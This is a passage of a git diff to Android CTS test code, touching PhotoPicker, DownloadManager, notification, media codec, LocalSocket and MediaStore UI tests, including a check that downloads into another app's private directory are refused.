count, int userId, List<Uri> uriList) + throws Exception { + for (int i = 0; i < count; i++) { + final Uri uri = createDNGVideo(userId); + uriList.add(uri); + clearMediaOwner(uri, userId); + } + } + public static void createVideos(int count, int userId, List<Uri> uriList) throws Exception { for (int i = 0; i < count; i++) { @@ -69,8 +78,14 @@ public class PhotoPickerFilesUtils { ShellUtils.runShellCommand(cmd); } + private static Uri createDNGVideo(int userId) throws Exception { + final Uri uri = stageMedia(R.raw.test_video_dng, + MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId); + return uri; + } + private static Uri createVideo(int userId) throws Exception { - final Uri uri = stageMedia(R.raw.testvideo_meta, + final Uri uri = stageMedia(R.raw.test_video, MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId); return uri; } diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java index 6a64e721791..d20dcd6665b 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java @@ -73,6 +73,11 @@ public class PhotoPickerUiUtils { return itemList; } + public static UiObject findPreviewAddButton() { + return new UiObject(new UiSelector().resourceIdMatches( + REGEX_PACKAGE_NAME + ":id/preview_add_button")); + } + public static UiObject findPreviewAddOrSelectButton() { return new UiObject(new UiSelector().resourceIdMatches( REGEX_PACKAGE_NAME + ":id/preview_add_or_select_button")); diff --git a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java index 8b7d348d8e6..1df830d8ff5 100644 --- a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java +++ b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java @@ -15,6 +15,8 @@ */ package android.app.cts; +import static com.android.compatibility.common.util.SystemUtil.runShellCommand; + import static com.google.common.truth.Truth.assertThat; import static org.junit.Assert.assertArrayEquals; @@ -32,6 +34,7 @@ import android.os.FileUtils; import androidx.test.runner.AndroidJUnit4; +import org.junit.Assert; import org.junit.Test; import org.junit.runner.RunWith; @@ -99,6 +102,28 @@ public class DownloadManagerApi28Test extends DownloadManagerTestBase { } @Test + public void testSetDestinationUri_privateAppDir() throws Exception { + // Make sure the private app directory exists + runShellCommand("mkdir -p /sdcard/Android/data/com.android.shell -m 2770"); + final File path = new File("/sdcard/Android/data/com.android.shell/" + + TAG + System.currentTimeMillis()); + + final DownloadCompleteReceiver receiver = new DownloadCompleteReceiver(); + try { + IntentFilter intentFilter = new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE); + mContext.registerReceiver(receiver, intentFilter); + + DownloadManager.Request requestPublic = new DownloadManager.Request(getGoodUrl()); + requestPublic.setDestinationUri(Uri.fromFile(path)); + mDownloadManager.enqueue(requestPublic); + Assert.fail("Cannot download files into other app's private directories"); + } catch (SecurityException expected) { + } finally { + mContext.unregisterReceiver(receiver); + } + } + + @Test public void testDestinationInExternalPublicDir() throws Exception { File publicLocation = new File( Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOCUMENTS), diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java index 21206871850..ae40d8989c8 100644 --- a/tests/app/src/android/app/cts/DownloadManagerTest.java +++ b/tests/app/src/android/app/cts/DownloadManagerTest.java @@ -19,6 +19,8 @@ import static android.Manifest.permission.WRITE_MEDIA_STORAGE; import static android.content.pm.PackageManager.PERMISSION_DENIED; import static android.content.pm.PackageManager.PERMISSION_GRANTED; +import static com.android.compatibility.common.util.SystemUtil.runShellCommand; + import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertNotNull; @@ -56,6 +58,7 @@ import androidx.test.runner.AndroidJUnit4; import com.android.compatibility.common.util.CddTest; +import org.junit.Assert; import org.junit.Test; import org.junit.runner.RunWith; @@ -322,6 +325,28 @@ public class DownloadManagerTest extends DownloadManagerTestBase { } @Test + public void testSetDestinationUri_privateAppDir() throws Exception { + // Make sure the private app directory exists + runShellCommand("mkdir -p /sdcard/Android/data/com.android.shell -m 2770"); + final File path = new File("/sdcard/Android/data/com.android.shell/" + + TAG + System.currentTimeMillis()); + + final DownloadCompleteReceiver receiver = new DownloadCompleteReceiver(); + try { + IntentFilter intentFilter = new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE); + mContext.registerReceiver(receiver, intentFilter); + + DownloadManager.Request requestPublic = new DownloadManager.Request(getGoodUrl()); + requestPublic.setDestinationUri(Uri.fromFile(path)); + mDownloadManager.enqueue(requestPublic); + Assert.fail("Cannot download files into other app's private directories"); + } catch (SecurityException expected) { + } finally { + mContext.unregisterReceiver(receiver); + } + } + + @Test public void testSetDestinationUri_invalidRequests() throws Exception { final File documentsFile = new File( Environment.getExternalStoragePublicDirectory("TestDir"), diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java index d53a952199d..be1c791703d 100644 --- a/tests/app/src/android/app/cts/NotificationManagerTest.java +++ b/tests/app/src/android/app/cts/NotificationManagerTest.java @@ -1859,32 +1859,6 @@ public class NotificationManagerTest extends AndroidTestCase { } } - public void testNotify_blockedChannelGroup() throws Exception { - mNotificationManager.cancelAll(); - - NotificationChannelGroup group = new NotificationChannelGroup(mId, "group name"); - group.setBlocked(true); - mNotificationManager.createNotificationChannelGroup(group); - NotificationChannel channel = - new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT); - channel.setGroup(mId); - mNotificationManager.createNotificationChannel(channel); - - int id = 1; - final Notification notification = - new Notification.Builder(mContext, mId) - .setSmallIcon(R.drawable.black) - .setWhen(System.currentTimeMillis()) - .setContentTitle("notify#" + id) - .setContentText("This is #" + id + "notification ") - .build(); - mNotificationManager.notify(id, notification); - - if (!checkNotificationExistence(id, /*shouldExist=*/ false)) { - fail("found unexpected notification id=" + id); - } - } - public void testCancel() throws Exception { final int id = 9; sendNotification(id, R.drawable.black); diff --git a/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java b/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java index e8038634903..ae9054f6146 100644 --- a/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java +++ b/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java @@ -219,6 +219,7 @@ public class AdaptivePlaybackTest extends CodecDecoderTestBase { queueEOS(); waitForAllOutputs(); mCodec.reset(); + mCodec.release(); } tearDownSurface(); } diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java index 832127d29b3..457ebf71b69 100644 --- a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java +++ b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java @@ -706,7 +706,6 @@ public class CodecEncoderTest extends CodecEncoderTestBase { private native boolean nativeTestSetForceSyncFrame(String encoder, String file, String mime, int[] list0, int[] list1, int[] list2, int colorFormat); - @Ignore("TODO(b/) = test sometimes timesout") @LargeTest @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS) public void testSetForceSyncFrameNative() throws IOException { @@ -742,8 +741,6 @@ public class CodecEncoderTest extends CodecEncoderTestBase { mOutputBuff = new OutputManager(); mSaveToMem = true; { - /* TODO(b/147574800) */ - if (mCodecName.equals("c2.android.hevc.encoder")) return; mCodec = MediaCodec.createByCodecName(mCodecName); format.removeKey(MediaFormat.KEY_BITRATE_MODE); MediaCodecInfo.EncoderCapabilities cap = @@ -803,7 +800,6 @@ public class CodecEncoderTest extends CodecEncoderTestBase { private native boolean nativeTestAdaptiveBitRate(String encoder, String file, String mime, int[] list0, int[] list1, int[] list2, int colorFormat); - @Ignore("TODO(b/) = test sometimes timesout") @LargeTest @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS) public void testAdaptiveBitRateNative() throws IOException { @@ -811,8 +807,6 @@ public class CodecEncoderTest extends CodecEncoderTestBase { mAdaptiveBitrateMimeList.contains(mMime)); int colorFormat = -1; { - /* TODO(b/147574800) */ - if (mCodecName.equals("c2.android.hevc.encoder")) return; if (!mIsAudio) { colorFormat = findByteBufferColorFormat(mCodecName, mMime); assertTrue("no valid color formats received", colorFormat != -1); diff --git a/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java index f7466b027c8..15f5e6595a3 100644 --- a/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java +++ b/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java @@ -51,10 +51,10 @@ public class DecoderColorAspectsTest extends CodecDecoderTestBase { mCheckESList = new ArrayList<>(); mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AVC); mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_HEVC); - /* TODO (b/165492703) Mpeg2 and (b/165787556) AV1 has problems in signalling color + /* TODO (b/165492703) Mpeg2 has problems in signalling color aspects information via elementary stream. */ // mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_MPEG2); - // mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AV1); + mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AV1); mCanIgnoreColorBox = canIgnoreColorBox; } diff --git a/tests/net/Android.bp b/tests/net/Android.bp new file mode 100644 index 00000000000..2a4153ac89b --- /dev/null +++ b/tests/net/Android.bp @@ -0,0 +1,24 @@ +// Copyright (C) 2021 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +java_library { + name: "CtsNetTestsNonUpdatableLib", + srcs: ["src/**/*.java"], + static_libs: ["androidx.test.rules"], + platform_apis: true, +} diff --git a/tests/net/OWNERS b/tests/net/OWNERS new file mode 100644 index 00000000000..67e4fc928a1 --- /dev/null +++ b/tests/net/OWNERS @@ -0,0 +1,3 @@ +# Bug component: 31808 +set noparent +file:platform/packages/modules/Connectivity:master:/OWNERS_core_networking_xts
\ No newline at end of file diff --git a/tests/net/TEST_MAPPING b/tests/net/TEST_MAPPING new file mode 100644 index 00000000000..a6a02d595fd --- /dev/null +++ b/tests/net/TEST_MAPPING @@ -0,0 +1,7 @@ +{ + "imports": [ + { + "path": "packages/modules/Connectivity" + } + ] +} diff --git a/tests/net/src/android/net/cts/LocalSocketTest.java b/tests/net/src/android/net/cts/LocalSocketTest.java new file mode 100644 index 00000000000..969f7060913 --- /dev/null +++ b/tests/net/src/android/net/cts/LocalSocketTest.java @@ -0,0 +1,471 @@ +/* + * Copyright (C) 2008 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.net.cts; + +import android.net.Credentials; +import android.net.LocalServerSocket; +import android.net.LocalSocket; +import android.net.LocalSocketAddress; +import android.os.ParcelFileDescriptor; +import android.system.Os; +import android.system.OsConstants; + +import junit.framework.TestCase; + +import java.io.FileDescriptor; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.util.concurrent.Callable; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; + +public class LocalSocketTest extends TestCase { + private final static String ADDRESS_PREFIX = "com.android.net.LocalSocketTest"; + + public void testLocalConnections() throws IOException { + String address = ADDRESS_PREFIX + "_testLocalConnections"; + // create client and server socket + LocalServerSocket localServerSocket = new LocalServerSocket(address); + LocalSocket clientSocket = new LocalSocket(); + + // establish connection between client and server + LocalSocketAddress locSockAddr = new LocalSocketAddress(address); + assertFalse(clientSocket.isConnected()); + clientSocket.connect(locSockAddr); + assertTrue(clientSocket.isConnected()); + + LocalSocket serverSocket = localServerSocket.accept(); + assertTrue(serverSocket.isConnected()); + assertTrue(serverSocket.isBound()); + try { + serverSocket.bind(localServerSocket.getLocalSocketAddress()); + fail("Cannot bind a LocalSocket from accept()"); + } catch (IOException expected) { + } + try { + serverSocket.connect(locSockAddr); + fail("Cannot connect a LocalSocket from accept()"); + } catch (IOException expected) { + } + + Credentials credent = clientSocket.getPeerCredentials(); + assertTrue(0 != credent.getPid()); + + // send data from client to server + OutputStream clientOutStream = clientSocket.getOutputStream(); + clientOutStream.write(12); + InputStream serverInStream = serverSocket.getInputStream(); + assertEquals(12, serverInStream.read()); + + //send data from server to client + OutputStream serverOutStream = serverSocket.getOutputStream(); + serverOutStream.write(3); + InputStream clientInStream = clientSocket.getInputStream(); + assertEquals(3, clientInStream.read()); + + // Test sending and receiving file descriptors + clientSocket.setFileDescriptorsForSend(new FileDescriptor[]{FileDescriptor.in}); + clientOutStream.write(32); + assertEquals(32, serverInStream.read()); + + FileDescriptor[] out = serverSocket.getAncillaryFileDescriptors(); + assertEquals(1, out.length); + FileDescriptor fd = clientSocket.getFileDescriptor(); + assertTrue(fd.valid()); + + //shutdown input stream of client + clientSocket.shutdownInput(); + assertEquals(-1, clientInStream.read()); + + //shutdown output stream of client + clientSocket.shutdownOutput(); + try { + clientOutStream.write(10); + fail("testLocalSocket shouldn't come to here"); + } catch (IOException e) { + // expected + } + + //shutdown input stream of server + serverSocket.shutdownInput(); + assertEquals(-1, serverInStream.read()); + + //shutdown output stream of server + serverSocket.shutdownOutput(); + try { + serverOutStream.write(10); + fail("testLocalSocket shouldn't come to here"); + } catch (IOException e) { + // expected + } + + //close client socket + clientSocket.close(); + try { + clientInStream.read(); + fail("testLocalSocket shouldn't come to here"); + } catch (IOException e) { + // expected + } + + //close server socket + serverSocket.close(); + try { + serverInStream.read(); + fail("testLocalSocket shouldn't come to here"); + } catch (IOException e) { + // expected + } + } + + public void testAccessors() throws IOException { + String address = ADDRESS_PREFIX + "_testAccessors"; + LocalSocket socket = new LocalSocket(); + LocalSocketAddress addr = new LocalSocketAddress(address); + + assertFalse(socket.isBound()); + socket.bind(addr); + assertTrue(socket.isBound()); + assertEquals(addr, socket.getLocalSocketAddress()); + + String str = socket.toString(); + assertTrue(str.contains("impl:android.net.LocalSocketImpl")); + + socket.setReceiveBufferSize(1999); + assertEquals(1999 << 1, socket.getReceiveBufferSize()); + + socket.setSendBufferSize(3998); + assertEquals(3998 << 1, socket.getSendBufferSize()); + + assertEquals(0, socket.getSoTimeout()); + socket.setSoTimeout(1996); + assertTrue(socket.getSoTimeout() > 0); + + try { + socket.getRemoteSocketAddress(); + fail("testLocalSocketSecondary shouldn't come to here"); + } catch (UnsupportedOperationException e) { + // expected + } + + try { + socket.isClosed(); + fail("testLocalSocketSecondary shouldn't come to here"); + } catch (UnsupportedOperationException e) { + // expected + } + + try { + socket.isInputShutdown(); + fail("testLocalSocketSecondary shouldn't come to here"); + } catch (UnsupportedOperationException e) { + // expected + } + + try { + socket.isOutputShutdown(); + fail("testLocalSocketSecondary shouldn't come to here"); + } catch (UnsupportedOperationException e) { + // expected + } + + try { + socket.connect(addr, 2005); + fail("testLocalSocketSecondary shouldn't come to here"); + } catch (UnsupportedOperationException e) { + // expected + } + + socket.close(); + } + + // http://b/31205169 + public void testSetSoTimeout_readTimeout() throws Exception { + String address = ADDRESS_PREFIX + "_testSetSoTimeout_readTimeout"; + + try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) { + final LocalSocket clientSocket = socketPair.clientSocket; + + // Set the timeout in millis. + int timeoutMillis = 1000; + clientSocket.setSoTimeout(timeoutMillis); + + // Avoid blocking the test run if timeout doesn't happen by using a separate thread. + Callable<Result> reader = () -> { + try { + clientSocket.getInputStream().read(); + return Result.noException("Did not block"); + } catch (IOException e) { + return Result.exception(e); + } + }; + // Allow the configured timeout, plus some slop. + int allowedTime = timeoutMillis + 2000; + Result result = runInSeparateThread(allowedTime, reader); + + // Check the message was a timeout, it's all we have to go on. + String expectedMessage = Os.strerror(OsConstants.EAGAIN); + result.assertThrewIOException(expectedMessage); + } + } + + // http://b/31205169 + public void testSetSoTimeout_writeTimeout() throws Exception { + String address = ADDRESS_PREFIX + "_testSetSoTimeout_writeTimeout"; + + try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) { + final LocalSocket clientSocket = socketPair.clientSocket; + + // Set the timeout in millis. + int timeoutMillis = 1000; + clientSocket.setSoTimeout(timeoutMillis); + + // Set a small buffer size so we know we can flood it. + clientSocket.setSendBufferSize(100); + final int bufferSize = clientSocket.getSendBufferSize(); + + // Avoid blocking the test run if timeout doesn't happen by using a separate thread. + Callable<Result> writer = () -> { + try { + byte[] toWrite = new byte[bufferSize * 2]; + clientSocket.getOutputStream().write(toWrite); + return Result.noException("Did not block"); + } catch (IOException e) { + return Result.exception(e); + } + }; + // Allow the configured timeout, plus some slop. + int allowedTime = timeoutMillis + 2000; + + Result result = runInSeparateThread(allowedTime, writer); + + // Check the message was a timeout, it's all we have to go on. + String expectedMessage = Os.strerror(OsConstants.EAGAIN); + result.assertThrewIOException(expectedMessage); + } + } + + public void testAvailable() throws Exception { + String address = ADDRESS_PREFIX + "_testAvailable"; + + try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) { + LocalSocket clientSocket = socketPair.clientSocket; + LocalSocket serverSocket = socketPair.serverSocket.accept(); + + OutputStream clientOutputStream = clientSocket.getOutputStream(); + InputStream serverInputStream = serverSocket.getInputStream(); + assertEquals(0, serverInputStream.available()); + + byte[] buffer = new byte[50]; + clientOutputStream.write(buffer); + assertEquals(50, serverInputStream.available()); + + InputStream clientInputStream = clientSocket.getInputStream(); + OutputStream serverOutputStream = serverSocket.getOutputStream(); + assertEquals(0, clientInputStream.available()); + serverOutputStream.write(buffer); + assertEquals(50, serverInputStream.available()); + + serverSocket.close(); + } + } + + // http://b/34095140 + public void testLocalSocketCreatedFromFileDescriptor() throws Exception { + String address = ADDRESS_PREFIX + "_testLocalSocketCreatedFromFileDescriptor"; + + // Establish connection between a local client and server to get a valid client socket file + // descriptor. + try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) { + // Extract the client FileDescriptor we can use. + FileDescriptor fileDescriptor = socketPair.clientSocket.getFileDescriptor(); + assertTrue(fileDescriptor.valid()); + + // Create the LocalSocket we want to test. + LocalSocket clientSocketCreatedFromFileDescriptor = + LocalSocket.createConnectedLocalSocket(fileDescriptor); + assertTrue(clientSocketCreatedFromFileDescriptor.isConnected()); + assertTrue(clientSocketCreatedFromFileDescriptor.isBound()); + + // Test the LocalSocket can be used for communication. + LocalSocket serverSocket = socketPair.serverSocket.accept(); + OutputStream clientOutputStream = + clientSocketCreatedFromFileDescriptor.getOutputStream(); + InputStream serverInputStream = serverSocket.getInputStream(); + + clientOutputStream.write(12); + assertEquals(12, serverInputStream.read()); + + // Closing clientSocketCreatedFromFileDescriptor does not close the file descriptor. + clientSocketCreatedFromFileDescriptor.close(); + assertTrue(fileDescriptor.valid()); + + // .. while closing the LocalSocket that owned the file descriptor does. + socketPair.clientSocket.close(); + assertFalse(fileDescriptor.valid()); + } + } + + public void testFlush() throws Exception { + String address = ADDRESS_PREFIX + "_testFlush"; + + try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) { + LocalSocket clientSocket = socketPair.clientSocket; + LocalSocket serverSocket = socketPair.serverSocket.accept(); + + OutputStream clientOutputStream = clientSocket.getOutputStream(); + InputStream serverInputStream = serverSocket.getInputStream(); + testFlushWorks(clientOutputStream, serverInputStream); + + OutputStream serverOutputStream = serverSocket.getOutputStream(); + InputStream clientInputStream = clientSocket.getInputStream(); + testFlushWorks(serverOutputStream, clientInputStream); + + serverSocket.close(); + } + } + + private void testFlushWorks(OutputStream outputStream, InputStream inputStream) + throws Exception { + final int bytesToTransfer = 50; + StreamReader inputStreamReader = new StreamReader(inputStream, bytesToTransfer); + + byte[] buffer = new byte[bytesToTransfer]; + outputStream.write(buffer); + assertEquals(bytesToTransfer, inputStream.available()); + + // Start consuming the data. + inputStreamReader.start(); + + // This doesn't actually flush any buffers, it just polls until the reader has read all the + // bytes. + outputStream.flush(); + + inputStreamReader.waitForCompletion(5000); + inputStreamReader.assertBytesRead(bytesToTransfer); + assertEquals(0, inputStream.available()); + } + + private static class StreamReader extends Thread { + private final InputStream is; + private final int expectedByteCount; + private final CountDownLatch completeLatch = new CountDownLatch(1); + + private volatile Exception exception; + private int bytesRead; + + private StreamReader(InputStream is, int expectedByteCount) { + this.is = is; + this.expectedByteCount = expectedByteCount; + } + + @Override + public void run() { + try { + byte[] buffer = new byte[10]; + int readCount; + while ((readCount = is.read(buffer)) >= 0) { + bytesRead += readCount; + if (bytesRead >= expectedByteCount) { + break; + } + } + } catch (IOException e) { + exception = e; + } finally { + completeLatch.countDown(); + } + } + + public void waitForCompletion(long waitMillis) throws Exception { + if (!completeLatch.await(waitMillis, TimeUnit.MILLISECONDS)) { + fail("Timeout waiting for completion"); + } + if (exception != null) { + throw new Exception("Read failed", exception); + } + } + + public void assertBytesRead(int expected) { + assertEquals(expected, bytesRead); + } + } + + private static class Result { + private final String type; + private final Exception e; + + private Result(String type, Exception e) { + this.type = type; + this.e = e; + } + + static Result noException(String description) { + return new Result(description, null); + } + + static Result exception(Exception e) { + return new Result(e.getClass().getName(), e); + } + + void assertThrewIOException(String expectedMessage) { + assertEquals("Unexpected result type", IOException.class.getName(), type); + assertEquals("Unexpected exception message", expectedMessage, e.getMessage()); + } + } + + private static Result runInSeparateThread(int allowedTime, final Callable<Result> callable) + throws Exception { + ExecutorService service = Executors.newSingleThreadScheduledExecutor(); + Future<Result> future = service.submit(callable); + Result result = future.get(allowedTime, TimeUnit.MILLISECONDS); + if (!future.isDone()) { + fail("Worker thread appears blocked"); + } + return result; + } + + private static class LocalSocketPair implements AutoCloseable { + static LocalSocketPair createConnectedSocketPair(String address) throws Exception { + LocalServerSocket localServerSocket = new LocalServerSocket(address); + final LocalSocket clientSocket = new LocalSocket(); + + // Establish connection between client and server + LocalSocketAddress locSockAddr = new LocalSocketAddress(address); + clientSocket.connect(locSockAddr); + assertTrue(clientSocket.isConnected()); + return new LocalSocketPair(localServerSocket, clientSocket); + } + + final LocalServerSocket serverSocket; + final LocalSocket clientSocket; + + LocalSocketPair(LocalServerSocket serverSocket, LocalSocket clientSocket) { + this.serverSocket = serverSocket; + this.clientSocket = clientSocket; + } + + public void close() throws Exception { + serverSocket.close(); + clientSocket.close(); + } + } +} diff --git a/tests/providerui/AndroidManifest.xml b/tests/providerui/AndroidManifest.xml index 2f1f791d9d8..a14df70d71b 100644 --- a/tests/providerui/AndroidManifest.xml +++ b/tests/providerui/AndroidManifest.xml @@ -23,9 +23,7 @@ <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <uses-permission android:name="android.permission.DISABLE_KEYGUARD" /> - <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> - <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.WRITE_SETTINGS" /> <!-- @@ -42,7 +40,7 @@ </intent> </queries> - <application android:requestLegacyExternalStorage = "true"> + <application> <uses-library android:name="android.test.runner"/> <activity android:name="android.providerui.cts.GetResultActivity" /> diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java index 4342810763c..542b3aa9db6 100644 --- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java +++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java @@ -16,6 +16,8 @@ package android.providerui.cts; +import static android.provider.cts.ProviderTestUtils.resolveVolumeName; + import static org.junit.Assert.assertArrayEquals; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; @@ -26,12 +28,12 @@ import android.app.Activity; import android.app.Instrumentation; import android.app.UiAutomation; import android.content.ContentResolver; +import android.content.ContentUris; import android.content.Context; import android.content.Intent; import android.content.UriPermission; import android.content.pm.PackageManager; import android.content.pm.ResolveInfo; -import android.content.res.AssetFileDescriptor; import android.database.Cursor; import android.net.Uri; import android.os.Environment; @@ -39,7 +41,6 @@ import android.os.FileUtils; import android.os.ParcelFileDescriptor; import android.os.storage.StorageManager; import android.os.storage.StorageVolume; -import android.os.UserManager; import android.provider.DocumentsContract; import android.provider.MediaStore; import android.provider.cts.ProviderTestUtils; @@ -50,12 +51,12 @@ import android.support.test.uiautomator.UiDevice; import android.support.test.uiautomator.UiObject; import android.support.test.uiautomator.UiObject2; import android.support.test.uiautomator.UiObjectNotFoundException; -import android.support.test.uiautomator.UiScrollable; import android.support.test.uiautomator.UiSelector; import android.support.test.uiautomator.Until; import android.system.Os; import android.text.format.DateUtils; import android.util.Log; +import android.util.Pair; import androidx.test.InstrumentationRegistry; @@ -68,6 +69,7 @@ import org.junit.runners.Parameterized.Parameter; import org.junit.runners.Parameterized.Parameters; import java.io.BufferedReader; +import java.io.ByteArrayInputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; @@ -122,6 +124,7 @@ public class MediaStoreUiTest { mActivity = (GetResultActivity) mInstrumentation.startActivitySync(intent); mInstrumentation.waitForIdleSync(); mActivity.clearResult(); + mDevice.wakeUp(); } @After @@ -147,6 +150,7 @@ public class MediaStoreUiTest { if (!supportsHardware()) return; prepareFile(); + clearDocumentsUi(); final Uri treeUri = acquireAccess(mFile, Environment.DIRECTORY_DOCUMENTS); assertNotNull(treeUri); @@ -171,10 +175,11 @@ public class MediaStoreUiTest { } @Test - public void testGetDocumentUri_ThrowsWithoutPermission() throws Exception { + public void testGetDocumentUri_throwsWithoutPermission() throws Exception { if (!supportsHardware()) return; prepareFile(); + clearDocumentsUi(); try { MediaStore.getDocumentUri(mActivity, mMediaStoreUri); @@ -185,10 +190,11 @@ public class MediaStoreUiTest { } @Test - public void testGetDocumentUri_Symmetry_ExternalStorageProvider() throws Exception { + public void testGetDocumentUri_symmetry_externalStorageProvider() throws Exception { if (!supportsHardware()) return; prepareFile(); + clearDocumentsUi(); final Uri treeUri = acquireAccess(mFile, Environment.DIRECTORY_DOCUMENTS); Log.v(TAG, "Tree " + treeUri); @@ -207,10 +213,10 @@ public class MediaStoreUiTest { } @Test - public void testGetMediaUriAccess_MediaDocumentsProvider() throws Exception { + public void testGetMediaUriAccess_mediaDocumentsProvider() throws Exception { if (!supportsHardware()) return; - prepareFile(); + prepareFile("TEST"); clearDocumentsUi(); final Intent intent = new Intent(); intent.setAction(Intent.ACTION_OPEN_DOCUMENT); @@ -228,6 +234,104 @@ public class MediaStoreUiTest { assertAccessToMediaUri(mediaUri, mFile); } + @Test + public void testOpenFile_onMediaDocumentsProvider_success() throws Exception { + if (!supportsHardware()) return; + + final String rawText = "TEST"; + // Stage a text file which contains raw text "TEST" + prepareFile(rawText); + clearDocumentsUi(); + final Intent intent = new Intent(); + intent.setAction(Intent.ACTION_OPEN_DOCUMENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + intent.setType("*/*"); + mActivity.startActivityForResult(intent, REQUEST_CODE); + mDevice.waitForIdle(); + + findDocument(mFile.getName()).click(); + final Result result = mActivity.getResult(); + final Uri uri = result.data.getData(); + assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY, uri.getAuthority()); + + // Test reading + final byte[] expected = rawText.getBytes(); + final byte[] actual = new byte[4]; + try (ParcelFileDescriptor fd = mContext.getContentResolver() + .openFileDescriptor(uri, "r")) { + Os.read(fd.getFileDescriptor(), actual, 0, actual.length); + assertArrayEquals(expected, actual); + } + + // Test write and read after it + final byte[] writtenText = "Hello World".getBytes(); + final byte[] readText = new byte[11]; + try (ParcelFileDescriptor fd = mContext.getContentResolver() + .openFileDescriptor(uri, "wt")) { + Os.write(fd.getFileDescriptor(), writtenText, 0, writtenText.length); + } + try (ParcelFileDescriptor fd = mContext.getContentResolver() + .openFileDescriptor(uri, "r")) { + Os.read(fd.getFileDescriptor(), readText, 0, readText.length); + assertArrayEquals(writtenText, readText); + } + } + + @Test + public void testOpenFile_onMediaDocumentsProvider_failsWithoutAccess() throws Exception { + if (!supportsHardware()) return; + + clearDocumentsUi(); + final Intent intent = new Intent(); + intent.setAction(Intent.ACTION_OPEN_DOCUMENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + intent.setType("*/*"); + mActivity.startActivityForResult(intent, REQUEST_CODE); + mDevice.waitForIdle(); + + String rawText = "TEST"; + // Read and write grants will be provided to the file associated with this pair. + // Stages a text file which contains raw text "TEST" + Pair<Uri, File> uriFilePairWithGrants = prepareFileAndFetchDetails(rawText); + // Read and write grants will not be provided to the file associated with this pair + // Stages a text file which contains raw text "TEST" + Pair<Uri, File> uriFilePairWithoutGrants = prepareFileAndFetchDetails(rawText); + // Get access grants + findDocument(uriFilePairWithGrants.second.getName()).click(); + final Result result = 